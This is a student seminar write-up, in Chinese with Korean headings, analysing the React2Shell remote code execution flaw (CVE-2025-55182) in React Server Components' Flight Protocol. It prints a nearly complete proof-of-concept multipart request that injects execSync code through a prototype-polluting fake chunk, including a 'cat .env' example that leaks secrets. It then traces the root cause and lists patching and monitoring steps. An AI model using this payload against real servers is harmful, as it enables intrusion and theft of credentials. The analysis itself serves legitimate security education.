
[우리 FISA] 技术研讨会优胜 - 云服务开发第6期第3组 - React2Shell (CVE-2025-55182) 分析及研究
우리FISA 기술세미나 6기 - 3팀 React Server Component(RSC)의 설계 결함을 이용한 원격 코드 실행(RCE) 취약점, React2Shell 분석 및 연구

| 成员 | 角色 | GitHub |
|---|---|---|
| 남인서 | 资料调查, PPT制作, 演讲 | @sene03 |
| 유승준 | 资料调查, PPT制作, 演讲 | @fluanceifi |
| 이수현 | 资料调查, PPT制作 | @hyun793 |
| 김유정 | 资料调查, PPT制作 | @yujung23 |
React2Shell(CVE-2025-55182) 是在 React Server Component (RSC) 使用的 Flight Protocol 通信过程中发现的一个严重安全漏洞。
React 为了处理组件,除了字符串、数组之外,还使用兼容 Promise、Blob、Map 等复杂类型的 Flight Protocol。
| 表达式 | 类型 | 说明 |
|---|---|---|
$$ | 转义的 $ | 以 $ 开头的字面量字符串 |
$@ | Promise/Chunk | Chunk ID 引用 |
攻击者利用此类协议流处理方式的漏洞,注入恶意脚本并获取服务器控制权。
攻击者通过包含 Next-Action、multipart/form-data 头的请求将 JSON 数据发送到服务器。此时,在请求的 body 中包含伪装成 Promise 对象的虚假 Chunk (Fake Chunk)。
POST / HTTP/1.1
Host: localhost: 3000
[... 기타 헤더 생략 ...]
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}
------WebkitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":
// 공격자가 전송한 가짜 청크 예시
{
"then" : "$1:__proto__:then"
"status" : "resolved_model",
"reason" : -1,
"value" : "{\"then\":\"$B0\"}",
"_response" : {
"_prefix": "execSync('cat .env'); //",
"_formData":{"get": "$1:constructor:constructor"}
}
}
then 被映射到 Chunk.prototype.then。_prefix 中包含的恶意代码作为 Function 的参数传入。thenable 被调用时,攻击者植入的任意代码在服务器上执行。// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 这里缺少 hasOwnProperty 检查!
}
$1:path:to:value 形式的引用时,以冒号 (:) 分割字符串,然后遍历对象内部。$1:__proto__:then 的解析使得攻击者可以访问 chunk 的原型及其对象的 then(即 Chunk.prototype.then)。then,导致攻击者意图的代码被执行。该漏洞在现代 Web 生态系统整体上引起了巨大波澜。
React2Shell 事件留下了“前端开发者也必须了解服务器安全”的教训。
将 react-server-dom-webpack 等相关包立即更新到最新版本(19.0.1+ 等)
Next.js 等内嵌 RSC 的框架,仅升级 React 无法解决问题,需要确认框架自身的安全发布说明并升级到最新版本
利用 Grafana 等监控系统,并连接到电子邮件、Slack 等可以发送警报的媒介,设置警报以便立即采取行动
随着技术的发展,前端的领域不断扩展,安全责任的范畴也随之扩大,这一点必须认识到。